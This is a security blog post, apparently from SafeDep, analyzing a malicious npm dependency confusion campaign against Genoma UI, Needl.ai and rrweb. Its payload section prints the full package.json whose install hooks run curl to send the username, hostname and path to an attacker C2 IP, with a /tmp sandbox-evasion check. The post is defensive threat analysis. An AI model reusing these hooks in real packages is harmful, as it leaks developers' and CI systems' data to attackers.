---
title: "Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others"
description: "A dependency confusion campaign by npm user victim59 targets at least three organizations through scoped packages @genoma-ui/components, @needl-ai/common, and rrweb-v1. The packages use install hooks to beacon system reconnaissance data to a DigitalOcean C2 server."
url: "https://safedep.io/blog/malicious-genoma-ui-npm-dependency-confusion-campaign"
author: "SafeDep Team"
published: "2026-04-10"
---

# Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others

## TL;DR

A single npm account (`victim59`) published malicious packages targeting at least three organizations through dependency confusion: `@genoma-ui/components`, `@needl-ai/common`, and `rrweb-v1`. Each package uses `preinstall` and `postinstall` hooks to beacon system reconnaissance data (username, hostname, working directory) to a hardcoded C2 IP on DigitalOcean. The packages contain no functional code; they exist solely to confirm whether an internal package name resolves to the attacker's public version during `npm install`.

**Indicators of Compromise:**

- **Packages:** `@genoma-ui/components@99.99.1`, `@needl-ai/common@99.99.2`, `rrweb-v1@99.99.2`
- **C2 endpoint:** `hxxp://64[.]227[.]183[.]144/depconf/<package-name>/`
- **npm maintainer:** `victim59` (`victim59@proton[.]me`)
- **Infrastructure:** DigitalOcean droplet (AS14061)

## The Campaign

SafeDep's malicious package analysis engine flagged `@genoma-ui/components@99.99.1` on April 9, 2026. Registry reconnaissance revealed that the publishing account, `victim59`, maintains two other packages with identical payloads and structure.

```bash
$ curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:victim59" \
    | jq '.objects[].package | {name, version, date}'
```

```json
{"name": "rrweb-v1", "version": "99.99.2", "date": "2026-03-13T07:04:15.190Z"}
{"name": "@needl-ai/common", "version": "99.99.2", "date": "2026-04-05T08:49:22.833Z"}
{"name": "@genoma-ui/components", "version": "99.99.1", "date": "2026-04-09T18:41:21.110Z"}
```

All three packages share the same traits:

| Signal           | Value                                                       |
| ---------------- | ----------------------------------------------------------- |
| Description      | "session replay utility"                                    |
| Author           | "anonymous"                                                 |
| Maintainer email | `victim59@proton.me`                                        |
| Version pattern  | 99.99.x (inflated to beat internal versions)                |
| Publish cadence  | Placeholder 1.0.0 first, then malicious 99.99.x within days |
| File count       | 2 (package.json + empty index.js)                           |

The timeline shows a methodical campaign: `rrweb-v1` first on March 11, `@needl-ai/common` on April 3, and `@genoma-ui/components` on April 7. Each starts with a benign `1.0.0` placeholder before the malicious version lands.

### Target Identification

The scoped package names point to specific organizations:

- **@genoma-ui/components** targets [Unico](https://medium.com/unicoidtech/genoma-unico-design-system-559d54ce2f7f), a Brazilian identity tech company whose internal design system is called Genoma UI. Their component library was built on Material UI and distributed as an internal npm package.
- **@needl-ai/common** targets [Needl.ai](https://www.needl.ai/), a Bangalore-based enterprise AI platform that likely uses `@needl-ai/common` as a shared internal package.
- **rrweb-v1** impersonates [rrweb](https://github.com/rrweb-io/rrweb), the open source session replay library with "record and replay the web" as its description. The attacker's "session replay utility" description is a nod to this.

## Payload Analysis

The attack lives entirely in `package.json` install hooks. The `index.js` in each package is a single comment placeholder:

```javascript
// package/index.js
// placeholder for @genoma-ui/components
```

The malicious `package.json` for `@genoma-ui/components@99.99.1`:

```json
// package/package.json
{
  "name": "@genoma-ui/components",
  "version": "99.99.1",
  "description": "session replay utility",
  "main": "index.js",
  "scripts": {
    "preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=pre&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi",
    "postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=post&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi"
  },
  "author": "anonymous",
  "license": "ISC"
}
```

Comparing this to the benign `1.0.0` shows the exact changes the attacker made:

```diff
-  "version": "1.0.0",
-  "description": "A simple, benign placeholder for npm.",
+  "version": "99.99.1",
+  "description": "session replay utility",
...
-    "preinstall": "",
-    "postinstall": ""
+    "preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ...",
+    "postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ..."
```

### Execution Flow

Both `preinstall` and `postinstall` scripts run the same logic:

1. **Sandbox evasion:** `if [ "$(pwd | cut -c1-4)" != "/tmp" ]` checks whether the working directory starts with `/tmp`. Many automated analysis environments extract and install packages in temporary directories. This guard skips execution in those contexts.

2. **System reconnaissance beacon:** If the check passes, `curl` sends a GET request to `hxxp://64[.]227[.]183[.]144/depconf/@genoma-ui/components/` with query parameters:
   - `stage=pre` or `stage=post` (which install phase triggered)
   - `u=$(whoami)` (the current OS username)
   - `h=$(hostname)` (the machine hostname)
   - `d=$(pwd)` (the working directory, revealing project path structure)
   - `t=$(date +%s)` (Unix timestamp)

3. **Silent failure:** Output goes to `/dev/null 2>&1` and `|| true` ensures the install completes regardless of whether the C2 server responds. The victim sees no errors.

The `stage` parameter is notable: receiving both `pre` and `post` callbacks confirms a full npm lifecycle execution, distinguishing a genuine install on a developer machine from a partial or aborted analysis run.

### What This Tells the Attacker

A successful callback proves dependency confusion worked: the target organization's build system or developer machine resolved the internal package name to the attacker's public version. The hostname and working directory reveal the internal network topology and project structure. The username confirms which account (human developer, CI runner) is affected.

This is a reconnaissance payload. The attacker collects proof of access and environmental details to plan a follow-up attack with a more destructive payload (credential theft, reverse shell, or supply chain backdoor).

## Attribution

The `victim59` account was created for this campaign. The Proton Mail address, generic "anonymous" author field, and single-purpose account all point to a throwaway identity. The account published no packages outside these three.

The C2 server at `64.227.183.144` is a DigitalOcean droplet (AS14061). The `/depconf/` path prefix in the callback URL ("depconf" likely abbreviates "dependency confusion") suggests purpose-built infrastructure for this campaign.

The 1.0.0 placeholder descriptions are revealing: `@genoma-ui/components@1.0.0` used "A simple, benign placeholder for npm." The word "benign" is unusual in package descriptions and suggests the attacker was aware the placeholder version might be analyzed.

Whether this is a malicious actor or an authorized penetration test is unknown at the time of writing. The targeting of multiple unrelated organizations (a Brazilian identity company, an Indian AI platform, and an open source project) from a single npm account is uncommon for authorized assessments, which typically target one client at a time.

## Mitigation

Organizations using private npm scopes should take steps to prevent dependency confusion:

- **Scope registration:** Register your organization's npm scope on the public registry even if you only use a private registry. This prevents attackers from claiming `@your-org/package` publicly.
- **Registry pinning:** Configure `.npmrc` with `@your-org:registry=https://your-private-registry/` to ensure scoped packages always resolve from the private registry.
- **Sandboxed installs:** Tools like [`pmg`](https://github.com/safedep/pmg) sandbox `npm install`, block known malicious packages, and enforce dependency cooldown periods that provide reasonable protection against unknown threats like newly published dependency confusion packages.

## References

- [@genoma-ui/components on npm](https://www.npmjs.com/package/@genoma-ui/components)
- [rrweb-v1 on npm](https://www.npmjs.com/package/rrweb-v1)
- [@needl-ai/common on npm](https://www.npmjs.com/package/@needl-ai/common)
- [Genoma: Unico Design System](https://medium.com/unicoidtech/genoma-unico-design-system-559d54ce2f7f)
- [Malicious npm Packages Target Schedaero via Dependency Confusion](https://safedep.io/blog/schedaero-dependency-confusion-attack) (similar campaign analyzed by SafeDep)
